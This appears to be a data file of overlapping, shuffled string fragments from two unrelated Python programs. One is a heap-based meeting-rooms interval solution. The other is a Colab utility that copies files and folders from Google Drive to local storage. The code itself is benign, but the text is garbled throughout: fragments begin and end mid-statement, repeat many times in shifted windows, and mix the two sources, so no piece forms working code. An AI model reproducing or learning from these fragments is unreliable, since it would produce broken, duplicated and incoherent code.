"in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap) # Oct 28th '19",
"List[List[int]]) -> int: import heapq if not intervals: return 0 intervals.sort(key = lambda",
"# Oct 28th '19 # Time: O(nlogn) # Space: O(n) class Solution: def",
"heapq if not intervals: return 0 intervals.sort(key = lambda interval:interval[0]) heap = []",
"start, end in intervals[1:]: prev_end = heapq.heappop(heap) if start<prev_end: heapq.heappush(heap, prev_end) heapq.heappush(heap, end)",
"intervals: return 0 intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]] for start, end in intervals[1:]:",
"-> int: import heapq if not intervals: return 0 intervals.sort(key=lambda kv:kv[0]) heap =",
"= [intervals[0][1]] for start, end in intervals[1:]: prev_end = heapq.heappop(heap) if start<prev_end: heapq.heappush(heap,",
"= heapq.heappop(heap) if start<prev_end: heapq.heappush(heap, prev_end) heapq.heappush(heap, end) else: heapq.heappush(heap, max(prev_end,end)) return len(heap)",
"minMeetingRooms(self, intervals: List[List[int]]) -> int: import heapq if not intervals: return 0 intervals.sort(key=lambda",
"heap = [intervals[0][1]] for start, end in intervals[1:]: prev_end = heapq.heappop(heap) if start<prev_end:",
"int: import heapq if not intervals: return 0 intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]]",
"Solution: def minMeetingRooms(self, intervals: List[List[int]]) -> int: import heapq if not intervals: return",
"len(heap) # Oct 28th '19 # Time: O(nlogn) # Space: O(n) class Solution:",
"intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap) # Oct 28th '19 #",
"return 0 intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]] for start, end in intervals[1:]: prev_end",
"prev_end = heapq.heappop(heap) if start<prev_end: heapq.heappush(heap, prev_end) heapq.heappush(heap, end) else: heapq.heappush(heap, max(prev_end,end)) return",
"Oct 28th '19 # Time: O(nlogn) # Space: O(n) class Solution: def minMeetingRooms(self,",
"intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]] for start, end in intervals[1:]: prev_end = heapq.heappop(heap)",
"import heapq if not intervals: return 0 intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]] for",
"not intervals: return 0 intervals.sort(key = lambda interval:interval[0]) heap = [] heapq.heappush(heap, intervals[0][1])",
"if not intervals: return 0 intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]] for start, end",
"in intervals[1:]: prev_end = heapq.heappop(heap) if start<prev_end: heapq.heappush(heap, prev_end) heapq.heappush(heap, end) else: heapq.heappush(heap,",
"# Time: O(nlogn) # Space: O(n) class Solution: def minMeetingRooms(self, intervals: List[List[int]]) ->",
"<gh_stars>1-10 # Time: O(nlogn) # Space: O(n) class Solution: def minMeetingRooms(self, intervals: List[List[int]])",
"= lambda interval:interval[0]) heap = [] heapq.heappush(heap, intervals[0][1]) for interval in intervals[1:]: if",
"for interval in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap) # Oct",
"for start, end in intervals[1:]: prev_end = heapq.heappop(heap) if start<prev_end: heapq.heappush(heap, prev_end) heapq.heappush(heap,",
"intervals[0][1]) for interval in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap) #",
"end in intervals[1:]: prev_end = heapq.heappop(heap) if start<prev_end: heapq.heappush(heap, prev_end) heapq.heappush(heap, end) else:",
"O(nlogn) # Space: O(n) class Solution: def minMeetingRooms(self, intervals: List[List[int]]) -> int: import",
"0 intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]] for start, end in intervals[1:]: prev_end =",
"-> int: import heapq if not intervals: return 0 intervals.sort(key = lambda interval:interval[0])",
"[intervals[0][1]] for start, end in intervals[1:]: prev_end = heapq.heappop(heap) if start<prev_end: heapq.heappush(heap, prev_end)",
"interval[1]) return len(heap) # Oct 28th '19 # Time: O(nlogn) # Space: O(n)",
"int: import heapq if not intervals: return 0 intervals.sort(key = lambda interval:interval[0]) heap",
"def minMeetingRooms(self, intervals: List[List[int]]) -> int: import heapq if not intervals: return 0",
"Time: O(nlogn) # Space: O(n) class Solution: def minMeetingRooms(self, intervals: List[List[int]]) -> int:",
"not intervals: return 0 intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]] for start, end in",
"heapq.heappush(heap, interval[1]) return len(heap) # Oct 28th '19 # Time: O(nlogn) # Space:",
"intervals: return 0 intervals.sort(key = lambda interval:interval[0]) heap = [] heapq.heappush(heap, intervals[0][1]) for",
"interval in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap) # Oct 28th",
"heapq.heappush(heap, intervals[0][1]) for interval in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap)",
"28th '19 # Time: O(nlogn) # Space: O(n) class Solution: def minMeetingRooms(self, intervals:",
"return 0 intervals.sort(key = lambda interval:interval[0]) heap = [] heapq.heappush(heap, intervals[0][1]) for interval",
"0 intervals.sort(key = lambda interval:interval[0]) heap = [] heapq.heappush(heap, intervals[0][1]) for interval in",
"List[List[int]]) -> int: import heapq if not intervals: return 0 intervals.sort(key=lambda kv:kv[0]) heap",
"if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap) # Oct 28th '19 # Time:",
"Space: O(n) class Solution: def minMeetingRooms(self, intervals: List[List[int]]) -> int: import heapq if",
"intervals: List[List[int]]) -> int: import heapq if not intervals: return 0 intervals.sort(key=lambda kv:kv[0])",
"# Space: O(n) class Solution: def minMeetingRooms(self, intervals: List[List[int]]) -> int: import heapq",
"interval:interval[0]) heap = [] heapq.heappush(heap, intervals[0][1]) for interval in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap)",
"O(n) class Solution: def minMeetingRooms(self, intervals: List[List[int]]) -> int: import heapq if not",
"return len(heap) # Oct 28th '19 # Time: O(nlogn) # Space: O(n) class",
"heapq if not intervals: return 0 intervals.sort(key=lambda kv:kv[0]) heap = [intervals[0][1]] for start,",
"import heapq if not intervals: return 0 intervals.sort(key = lambda interval:interval[0]) heap =",
"lambda interval:interval[0]) heap = [] heapq.heappush(heap, intervals[0][1]) for interval in intervals[1:]: if heap[0]<=interval[0]:",
"kv:kv[0]) heap = [intervals[0][1]] for start, end in intervals[1:]: prev_end = heapq.heappop(heap) if",
"intervals[1:]: prev_end = heapq.heappop(heap) if start<prev_end: heapq.heappush(heap, prev_end) heapq.heappush(heap, end) else: heapq.heappush(heap, max(prev_end,end))",
"heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap) # Oct 28th '19 # Time: O(nlogn)",
"if not intervals: return 0 intervals.sort(key = lambda interval:interval[0]) heap = [] heapq.heappush(heap,",
"'19 # Time: O(nlogn) # Space: O(n) class Solution: def minMeetingRooms(self, intervals: List[List[int]])",
"heap = [] heapq.heappush(heap, intervals[0][1]) for interval in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap,",
"class Solution: def minMeetingRooms(self, intervals: List[List[int]]) -> int: import heapq if not intervals:",
"heapq.heappop(heap) heapq.heappush(heap, interval[1]) return len(heap) # Oct 28th '19 # Time: O(nlogn) #",
"[] heapq.heappush(heap, intervals[0][1]) for interval in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1]) return",
"= [] heapq.heappush(heap, intervals[0][1]) for interval in intervals[1:]: if heap[0]<=interval[0]: heapq.heappop(heap) heapq.heappush(heap, interval[1])",
"intervals.sort(key = lambda interval:interval[0]) heap = [] heapq.heappush(heap, intervals[0][1]) for interval in intervals[1:]:",
"intervals: List[List[int]]) -> int: import heapq if not intervals: return 0 intervals.sort(key ="
] |
[
"be found. Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted():",
"found. Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive()",
"get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source + '*') root_files = glob.glob(source +",
"if Path(output_folder_name).exists(): if verbose: print('Folder {} already exists. Copy skipped.'.format(output_folder_name)) else: if verbose:",
"Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if",
"f_name in root_folders: folder_name = os.path.basename(f_name) + '/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return",
"file_name output_file_name = destination + file_name if Path(output_file_name).exists(): if verbose: print('File {} already",
"if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source",
"'/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return def main(): return True if __name__ ==",
"glob import os import shutil from pathlib import Path from colab_transfer.google_drive import mount_google_drive,",
"return def copy_folder(folder_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is",
"else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source + file_name output_file_name = destination + file_name",
"get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source + folder_name output_folder_name = destination +",
"output_file_name) except FileNotFoundError: print('File {} could not be found. Copy aborted.'.format(input_file_name)) return def",
"if Path(output_file_name).exists(): if verbose: print('File {} already exists. Copy skipped.'.format(output_file_name)) else: if verbose:",
"verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None: source = get_path_to_home_of_google_drive() if",
"= set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name in root_files: file_name",
"Path from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name,",
"output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File {} could not be found. Copy",
"{} already exists. Copy skipped.'.format(output_file_name)) else: if verbose: print('Copying {} to {}'.format(input_file_name, output_file_name))",
"from pathlib import Path from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive,",
"exist_ok=True) input_file_name = source + file_name output_file_name = destination + file_name if Path(output_file_name).exists():",
"files_and_folders = glob.glob(source + '*') root_files = glob.glob(source + '*.*') root_folders = set(files_and_folders).difference(root_files)",
"already exists. Copy skipped.'.format(output_file_name)) else: if verbose: print('Copying {} to {}'.format(input_file_name, output_file_name)) try:",
"already exists. Copy skipped.'.format(output_folder_name)) else: if verbose: print('Copying {} to {}'.format(input_folder_name, output_folder_name)) try:",
"{} already exists. Copy skipped.'.format(output_folder_name)) else: if verbose: print('Copying {} to {}'.format(input_folder_name, output_folder_name))",
"None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source + folder_name output_folder_name",
"pathlib import Path from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine",
"output_folder_name = destination + folder_name if Path(output_folder_name).exists(): if verbose: print('Folder {} already exists.",
"+ '*') root_files = glob.glob(source + '*.*') root_folders = set(files_and_folders).difference(root_files) if verbose: print('Files:",
"{} could not be found. Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None, destination=None, verbose=True):",
"if not is_google_drive_mounted(): mount_google_drive() if source is None: source = get_path_to_home_of_google_drive() if destination",
"os import shutil from pathlib import Path from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from",
"for f_name in root_files: file_name = os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose) for f_name",
"if verbose: print('File {} already exists. Copy skipped.'.format(output_file_name)) else: if verbose: print('Copying {}",
"shutil from pathlib import Path from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from colab_transfer.utils import",
"to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder {} could not be",
"get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is",
"root_folders: folder_name = os.path.basename(f_name) + '/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return def main():",
"print('Folder {} could not be found. Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None, verbose=True):",
"Path(output_folder_name).exists(): if verbose: print('Folder {} already exists. Copy skipped.'.format(output_folder_name)) else: if verbose: print('Copying",
"get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders =",
"FileNotFoundError: print('Folder {} could not be found. Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None,",
"destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source + '*') root_files =",
"print('File {} already exists. Copy skipped.'.format(output_file_name)) else: if verbose: print('Copying {} to {}'.format(input_file_name,",
"print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name in root_files: file_name = os.path.basename(f_name) copy_file(file_name, source=source,",
"= get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name",
"source + file_name output_file_name = destination + file_name if Path(output_file_name).exists(): if verbose: print('File",
"exists. Copy skipped.'.format(output_folder_name)) else: if verbose: print('Copying {} to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name,",
"def copy_folder_structure(source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None: source",
"try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File {} could not be found. Copy aborted.'.format(input_file_name))",
"= get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders",
"dst=output_folder_name) except FileNotFoundError: print('Folder {} could not be found. Copy aborted.'.format(input_folder_name)) return def",
"'*.*') root_folders = set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name in",
"= get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name",
"None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source + file_name output_file_name",
"+ '/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return def main(): return True if __name__",
"f_name in root_files: file_name = os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose) for f_name in",
"glob.glob(source + '*.*') root_folders = set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for",
"not be found. Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None, destination=None, verbose=True): if not",
"aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is",
"verbose: print('File {} already exists. Copy skipped.'.format(output_file_name)) else: if verbose: print('Copying {} to",
"if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source",
"import glob import os import shutil from pathlib import Path from colab_transfer.google_drive import",
"= source + file_name output_file_name = destination + file_name if Path(output_file_name).exists(): if verbose:",
"verbose: print('Folder {} already exists. Copy skipped.'.format(output_folder_name)) else: if verbose: print('Copying {} to",
"root_files: file_name = os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose) for f_name in root_folders: folder_name",
"destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source +",
"mount_google_drive() if source is None: source = get_path_to_home_of_google_drive() if destination is None: destination",
"try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder {} could not be found. Copy aborted.'.format(input_folder_name))",
"file_name = os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose) for f_name in root_folders: folder_name =",
"verbose: print('Copying {} to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder {}",
"+ file_name if Path(output_file_name).exists(): if verbose: print('File {} already exists. Copy skipped.'.format(output_file_name)) else:",
"copy_file(file_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None: source",
"{}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder {} could not be found.",
"file_name if Path(output_file_name).exists(): if verbose: print('File {} already exists. Copy skipped.'.format(output_file_name)) else: if",
"copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return def main(): return True if __name__ == '__main__':",
"= os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose) for f_name in root_folders: folder_name = os.path.basename(f_name)",
"destination + folder_name if Path(output_folder_name).exists(): if verbose: print('Folder {} already exists. Copy skipped.'.format(output_folder_name))",
"else: if verbose: print('Copying {} to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError:",
"os.path.basename(f_name) + '/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return def main(): return True if",
"else: if verbose: print('Copying {} to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError:",
"= destination + folder_name if Path(output_folder_name).exists(): if verbose: print('Folder {} already exists. Copy",
"= source + folder_name output_folder_name = destination + folder_name if Path(output_folder_name).exists(): if verbose:",
"print('Copying {} to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder {} could",
"None: source = get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True,",
"+ folder_name output_folder_name = destination + folder_name if Path(output_folder_name).exists(): if verbose: print('Folder {}",
"copy_file(file_name, source=source, destination=destination, verbose=verbose) for f_name in root_folders: folder_name = os.path.basename(f_name) + '/'",
"= destination + file_name if Path(output_file_name).exists(): if verbose: print('File {} already exists. Copy",
"to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File {} could not be",
"output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder {} could not be found. Copy",
"<reponame>woctezuma/google-colab-transfer<gh_stars>10-100 import glob import os import shutil from pathlib import Path from colab_transfer.google_drive",
"copy_folder(folder_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None: source",
"found. Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if",
"if verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name in root_files: file_name = os.path.basename(f_name)",
"def copy_file(file_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None:",
"set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name in root_files: file_name =",
"print('Folders: {}'.format(root_folders)) for f_name in root_files: file_name = os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose)",
"output_file_name = destination + file_name if Path(output_file_name).exists(): if verbose: print('File {} already exists.",
"destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source + file_name output_file_name =",
"is_google_drive_mounted(): mount_google_drive() if source is None: source = get_path_to_home_of_google_drive() if destination is None:",
"get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source",
"skipped.'.format(output_folder_name)) else: if verbose: print('Copying {} to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except",
"if verbose: print('Copying {} to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder",
"verbose=verbose) for f_name in root_folders: folder_name = os.path.basename(f_name) + '/' copy_folder(folder_name, source=source, destination=destination,",
"input_folder_name = source + folder_name output_folder_name = destination + folder_name if Path(output_folder_name).exists(): if",
"Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source",
"is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source + file_name",
"for f_name in root_folders: folder_name = os.path.basename(f_name) + '/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose)",
"Copy skipped.'.format(output_folder_name)) else: if verbose: print('Copying {} to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name)",
"source is None: source = get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine()",
"{} to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File {} could not",
"except FileNotFoundError: print('Folder {} could not be found. Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None,",
"{} to {}'.format(input_folder_name, output_folder_name)) try: shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder {} could not",
"in root_files: file_name = os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose) for f_name in root_folders:",
"Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source + folder_name output_folder_name = destination + folder_name if",
"= get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source + '*') root_files = glob.glob(source",
"verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name in root_files: file_name = os.path.basename(f_name) copy_file(file_name,",
"folder_name output_folder_name = destination + folder_name if Path(output_folder_name).exists(): if verbose: print('Folder {} already",
"None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source + '*') root_files",
"folder_name if Path(output_folder_name).exists(): if verbose: print('Folder {} already exists. Copy skipped.'.format(output_folder_name)) else: if",
"= os.path.basename(f_name) + '/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return def main(): return True",
"= get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source + file_name output_file_name = destination",
"verbose: print('Copying {} to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File {}",
"is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source + folder_name",
"{}'.format(root_folders)) for f_name in root_files: file_name = os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose) for",
"get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name =",
"get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name =",
"colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None,",
"exists. Copy skipped.'.format(output_file_name)) else: if verbose: print('Copying {} to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name,",
"root_folders = set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name in root_files:",
"Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source + '*') root_files = glob.glob(source + '*.*') root_folders",
"if source is None: source = get_path_to_home_of_google_drive() if destination is None: destination =",
"if verbose: print('Copying {} to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File",
"is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None, verbose=True): if not",
"'*') root_files = glob.glob(source + '*.*') root_folders = set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files))",
"import os import shutil from pathlib import Path from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted",
"is None: source = get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else:",
"source=source, destination=destination, verbose=verbose) for f_name in root_folders: folder_name = os.path.basename(f_name) + '/' copy_folder(folder_name,",
"mount_google_drive, is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None, verbose=True): if",
"else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source + '*') root_files = glob.glob(source + '*.*')",
"from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted():",
"import mount_google_drive, is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def copy_file(file_name, source=None, destination=None, verbose=True):",
"destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source + folder_name output_folder_name =",
"not is_google_drive_mounted(): mount_google_drive() if source is None: source = get_path_to_home_of_google_drive() if destination is",
"if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source",
"print('Copying {} to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File {} could",
"destination=destination, verbose=verbose) for f_name in root_folders: folder_name = os.path.basename(f_name) + '/' copy_folder(folder_name, source=source,",
"= get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_folder_name = source + folder_name output_folder_name = destination",
"get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source + file_name output_file_name = destination +",
"= glob.glob(source + '*.*') root_folders = set(files_and_folders).difference(root_files) if verbose: print('Files: {}'.format(root_files)) print('Folders: {}'.format(root_folders))",
"{}'.format(root_files)) print('Folders: {}'.format(root_folders)) for f_name in root_files: file_name = os.path.basename(f_name) copy_file(file_name, source=source, destination=destination,",
"def copy_folder(folder_name, source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None:",
"in root_folders: folder_name = os.path.basename(f_name) + '/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return def",
"source=source, destination=destination, verbose=verbose) return def main(): return True if __name__ == '__main__': main()",
"source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None: source =",
"source = get_path_to_home_of_google_drive() if destination is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True)",
"Path(destination).mkdir(parents=True, exist_ok=True) input_file_name = source + file_name output_file_name = destination + file_name if",
"import Path from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from colab_transfer.utils import get_path_to_home_of_google_drive, get_path_to_home_of_local_machine def",
"exist_ok=True) files_and_folders = glob.glob(source + '*') root_files = glob.glob(source + '*.*') root_folders =",
"be found. Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive()",
"folder_name = os.path.basename(f_name) + '/' copy_folder(folder_name, source=source, destination=destination, verbose=verbose) return def main(): return",
"FileNotFoundError: print('File {} could not be found. Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None,",
"= glob.glob(source + '*') root_files = glob.glob(source + '*.*') root_folders = set(files_and_folders).difference(root_files) if",
"source + folder_name output_folder_name = destination + folder_name if Path(output_folder_name).exists(): if verbose: print('Folder",
"input_file_name = source + file_name output_file_name = destination + file_name if Path(output_file_name).exists(): if",
"is None: destination = get_path_to_home_of_local_machine() else: Path(destination).mkdir(parents=True, exist_ok=True) files_and_folders = glob.glob(source + '*')",
"{} could not be found. Copy aborted.'.format(input_folder_name)) return def copy_folder_structure(source=None, destination=None, verbose=True): if",
"import shutil from pathlib import Path from colab_transfer.google_drive import mount_google_drive, is_google_drive_mounted from colab_transfer.utils",
"destination + file_name if Path(output_file_name).exists(): if verbose: print('File {} already exists. Copy skipped.'.format(output_file_name))",
"shutil.copyfile(input_file_name, output_file_name) except FileNotFoundError: print('File {} could not be found. Copy aborted.'.format(input_file_name)) return",
"shutil.copytree(src=input_folder_name, dst=output_folder_name) except FileNotFoundError: print('Folder {} could not be found. Copy aborted.'.format(input_folder_name)) return",
"os.path.basename(f_name) copy_file(file_name, source=source, destination=destination, verbose=verbose) for f_name in root_folders: folder_name = os.path.basename(f_name) +",
"could not be found. Copy aborted.'.format(input_file_name)) return def copy_folder(folder_name, source=None, destination=None, verbose=True): if",
"return def copy_folder_structure(source=None, destination=None, verbose=True): if not is_google_drive_mounted(): mount_google_drive() if source is None:",
"print('Folder {} already exists. Copy skipped.'.format(output_folder_name)) else: if verbose: print('Copying {} to {}'.format(input_folder_name,",
"skipped.'.format(output_file_name)) else: if verbose: print('Copying {} to {}'.format(input_file_name, output_file_name)) try: shutil.copyfile(input_file_name, output_file_name) except",
